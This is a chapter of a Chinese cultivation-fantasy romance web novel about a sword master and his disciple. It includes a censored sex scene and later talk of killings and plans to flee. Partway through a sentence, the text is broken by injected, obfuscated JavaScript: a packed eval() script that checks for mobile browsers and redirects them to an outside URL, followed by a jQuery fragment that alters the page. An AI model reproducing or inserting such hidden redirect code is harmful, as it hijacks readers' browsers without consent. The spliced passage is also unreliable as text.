78.第 78 章

作品:《我与师尊解战袍

    云归鸿简直不知道该怎么办才好,身为师尊的矜持不允许清醒的他发出任何难|堪的声音,可苏虞竟就那么残忍地等着,一直等到他带着狼狈的泪意说出“看清了”这三个字。


    “你眼中的是谁?”苏虞却不依不饶,狠狠向前丁|页了一记,再度停下,如同猎鹰以坚硬的喙狠狠钉住了猎物的灵魂。


    “是你,是苏虞……”云归鸿艰难地闭上了眼,他不敢再清醒了。


    因为他知道迎接他的将是更猛|烈的冲|击,是可堪称作欺师灭祖的侵||犯。


    到最|深|处,苏虞将云归鸿深深搂进怀里。


    两具身|体紧密贴合,如同宇宙初生之前混沌一体的天地。


    剑修身子稍显单弱,被生得高大的徒弟缠在怀中,显得又软又薄,整个人都嵌在对方怀里了似的。


    而云归鸿失|神的头向后垂着,修长的脖|颈毫不设防地仰起,喉|结轻轻滚动了一下,随即被咬住,辗|转向下。


    过了许久,云归鸿尾音都带着一点泣声:“太多了……”


    苏虞残忍地没有停止,他血液中属于天狐的狡猾与兽性都不允许他停止。


    天已经彻底黑了。


    外面的对结界的攻击甚至都停歇了。


    云归鸿疲惫侧躺在竹床的里侧,苏虞则站在衣柜前翻找自己从前的旧衣。


    从青炉台穿来的那身黑衣已经沾了东西,全不能要了,他从前的衣服又太小,找了半天,竟没找到合身的上衣。


    苏虞挠头,心想等会总不能赤着上身出去见客——他身上还有很多云归鸿抓的印子呢。


    云归鸿此刻身上清爽——得益于苏虞的贤惠,他在事|后得到了很好的清理,此刻懒洋洋的正要睡着。


    身后苏虞的抓耳挠腮却逃不过云归鸿敏锐五感。


    他无奈地回头,想看苏虞在忙什么,这一眼就望见了肌理分明而匀称的背|肌,上头还留着一些痕迹……云归鸿顿时脸都热起来了。


    他强装冷淡,在竹床里侧随便摸了几下,丢出去一件灰色上衣:“看看这个能不能穿。”


    苏虞一把接过,认出这是两年前自己在登仙小境时所穿的那件。


    上身后勉强可用,肩膀处稍微紧绷了些……但总比不穿强得多。


    苏虞系好了衣带,回头凑近云归鸿,低声问道:“我的衣服为什么会在床上?”


    云归鸿装作没听见。


    苏虞不肯罢休:“归鸿,你怎么不回答我?难道你用我的衣服做了坏事?你是不是用它……”


    “住口,做坏事的明明是你……”云归鸿忍无可忍,伸手去打苏虞的脸。


    手却被苏虞捧住,直接一个灼|热的吻落在了掌心。


    云归鸿:“……”


    他是不是把苏虞打爽了?


    苏虞却已眼睛放光:“什么叫做‘明明是我’?你是不是知道了什么?”


    他只做过一次坏事,是多年前在竹屋里对着云归鸿的旧衣做的。


    云归鸿怎么会知道?难道那天……云归鸿在门外?


    苏虞越想越觉得心里美得泛着酸,他不由分说,搂过还倦得很的云归鸿,将头深深埋进他颈间:“归鸿,那天你看到我做如此不堪的事……为什么你没有冲进来杀了我?你应该听见了……我当时喊的,是你的名字。”


    云归鸿话都懒得说,但架不住苏虞在他身上蹭来蹭去……他生怕等下又蹭出事端来,忙道:“你怎么总问废话……我若因为这种事就要杀你,还修什么无情道?动辄取人性命……绝非心怀天下苍生之人所为。”


    苏虞却不是想听这个回答。


    他只是想知道,如果当时的云归鸿……连这都能接受,那云归鸿对他的包容心……可就有些过分了。


    这是否说明,云归鸿也早就对他……


    “归鸿,云归鸿,你看看我。”他忍不住再次问道,“你看到那样一个卑劣的我……就真的没有一点厌恶吗?”


    “无情道没有恨意。”云归鸿阖眸,面无表情。


    苏虞心想,不,不是这个意思。


    可是还能怎么问呢?苏虞有心直接问出来,问云归鸿是否……也早就心悦自己,但他怕逼得太紧,云归鸿恼羞成怒。


    更好的措辞想不出来,苏虞就不想了,只抱着云归鸿躺着,抱得紧紧的。


    云归鸿也没有反抗。


    他觉得这次自己清醒的时间格外长,头痛也早在半途就完全消退了,他其实有点不太想把时间浪费在躺平上,但无奈身体太累,他还是得歇一歇才能起来。


    于是两人又温存了一会儿。直到苏虞再度感觉到有人在攻击自己设下的结界,他不由得在心里叹了一声。


    怎么总有人想打扰他和云归鸿独处的时间呢?


    他心情的波动没能逃过云归鸿的感知,云归鸿侧过头看他:“怎么,有烦心事?”


    苏虞叹了口气,道:“归鸿,你此时清醒,我有件事要告诉你。”


    看着苏虞有些心虚的样子,云归鸿睫毛轻轻颤动了一下:“什么事?”


    苏虞目光移开,咽了口口水,道:“来竹屋之前,我去了一趟越境堂。那里有很多修士在……竞价。我把耀华宫宫主,和天奴宫的一位……大概是主事,给杀了。”


    云归鸿眸光澄净地看着他:“因何杀人?”


    苏虞一想起这事就压不住火,他强忍着,用还算轻松的语气道:“他们出言不逊,冒犯了……我。”


    云归鸿如何不知裴玄君所做的那些事?他一下就明白过来,所谓的竞价恐怕是在竞争《月舒剑法》,大概被苏虞误会了。


    不过,耀华宫一群乌合之众,宫主更是个小人。苏虞好歹是他云归鸿的弟子——剑神传人被冒犯,杀他一个便杀了。


    至于天奴宫的人……云归鸿漠然地想,若他见着,也是要杀的。


    云归鸿遂安抚道:“无妨,想找你算账,总要打得过你才行。我瞧你……”


    苏虞登时腆着脸腻上去:“归鸿快夸我,我如今已是化神期修为!”


    云归鸿却伸出一只尚且没什么力气的手,轻轻捧住了他一边脸颊。


    “你的进境如此快……是不是又钻进了青炉?”他低声询问道,“青炉锻体……你吃了很多苦吧?”


    苏虞原本并不觉得青炉锻体有多痛多难,那时支撑他的亦是此时面前温柔注视他的云归鸿……可是刚笑着吹了一句“剑神弟子怎会惧怕区区锻体”的牛,话未说完,声音却越来越小。


    他最后叹息着窝进了云归鸿的怀里,闷闷道:“归鸿,我几次以为我出不来,再也见不到你。”


    云归鸿抚着怀中人的脊背,眸中划过一丝痛惜。


    照影镜中,他曾见过。


    镜中进境极快的前世苏虞有心瞒着镜中的云归鸿,撒谎说是妖族功法使他进步神速。


    虽然镜中的云归鸿看起来浑浑噩噩,可是作为清醒的旁观者,镜外的云归鸿却很清楚,没有什么功法能让人的修为拔得如此之快,除非堕入魔道,或熬过常人所不能熬的苦楚。


    苏虞深吸一口气,道:“不说那些了。师尊,快告诉我,剩下的烂摊子怎么收拾?”


    云归鸿思绪被打断,淡淡道:“收拾些什么?你不必考虑如何替剑阁善后,湘洲剑阁本就是裴氏传承,我担这虚名多年,早


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931575|190208||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想把烂摊子交还裴玄君,他既有心夺权,还他就是。”


    苏虞心想,云归鸿脾气还真好,被如此对待,还能泰然处之……


    云归鸿又道:“至于剑阁之外的人,我的月舒剑还不放在眼里。”


    无情道剑修在他怀里软得像一汪热水,眼中却仍然是对世间万事万物的冷漠,这强烈的反差直勾得苏虞胸口发烫,心脏都变得酸软。


    他再次将云归鸿揉进怀里,压低声音调侃道:“那我若把整个剑阁、乃至整个七洲仙盟……不,还得加上宜洲青炉台妖修,都得罪透了,也无妨了?”


    云归鸿笑了笑:“你有多大能耐,能把整个修真界都得罪了?”


    苏虞回忆了一下,不太确定道:“还是……有可能的。我在越境堂,当着唐阙的面杀了耀华宫宫主和天奴宫主事,还把青炉当筹码,力压众位竞价者……夺得了你。”


    云归鸿:“……”


    苏虞感觉到云归鸿的紧张,忍不住笑出声来:“怎么办啊云归鸿,这下我们四面树敌、无处可去了。”


    云归鸿竟然还认真思考了一下这个问题,缓缓道:“不如,你直接把我从剑阁偷走。这样,青炉便不用给了。”


    苏虞只听见前半句就瞬间傻住了,他第一时间心头想的是,自己不会是在做梦吧!


    云归鸿这句话,是答应了跟他一起离开吗!


    苏虞结结巴巴道:“……归鸿,你愿意跟我一起离开?”


    云归鸿偏过头来看他的脸。


    声音很轻,却很笃定:“如果你是真的苏虞,就带我走吧。”


    “……”苏虞顿住,随即一口咬上云归鸿颈侧,“事到如今你还怀疑我的真假!”


    云归鸿笑着闭上眼,感受所有真实的、温热的触碰,他心中那个大洞终于被完完全全地填满。


    又腻歪了一会儿,苏虞忽地支起上半身,对云归鸿道:“无论如何,你的仇我来报。”


    “什么仇?”云归鸿茫然道,他眼尾还留着一抹急|促呼吸带来的潮红,眼中的迷茫像浸在水中一般。


    苏虞道:“裴玄君软禁你,用水镜窥视你,想利用你来换资源。这仇我非报不可!”


    “你冷静些。”云归鸿在黑暗中寻到苏虞的手掌,轻软的手指伸进他掌心,同他十指相扣,“如今以你的修为,与他为敌讨不到好处。”


    苏虞心中一动:“他如今什么修为?归鸿,我如今炼化了青炉,能以青炉为丹田,他只要不超过合道期二品,对上我都没胜算的。”


    云归鸿道:“我已过渡劫期,虽然心魔劫未过,无法擅动修为,身躯却实实在在是半仙之体。而裴玄君曾来与我一战,试图夺取《月舒剑法》。他的攻势,不在合道剑修之下。”


    苏虞思索了一下,如果裴玄君真的已经过了合道期,自己恐怕还真是很难杀他。


    但难杀也要杀。苏虞不听,耍无赖道:“那些你别管,你的仇我必替你报。”


    云归鸿听笑了。


    剑修的声音清冷如玉,此刻笑得暖,倒添了几分温度似的,显得格外缱绻:“苏虞,如果你被裴玄君打败了,谁来与我结为道侣?”


    苏虞的呼吸停滞,片刻后一头埋进云归鸿颈侧:“你答应了,不许反悔。”


    云归鸿道:“是你先答应我的,在梦里。”


    “最先答应……明明是在登仙小境里。”苏虞心想就算被云归鸿当成幻象,秘境里也是他们此生第一次互诉衷肠、结为道侣。


    云归鸿却拢住了他的手。


    “既已谈到此事,我也该给你一个交代。”云归鸿叹息着,“你恐怕还不知道,我身上究竟发生了什么。”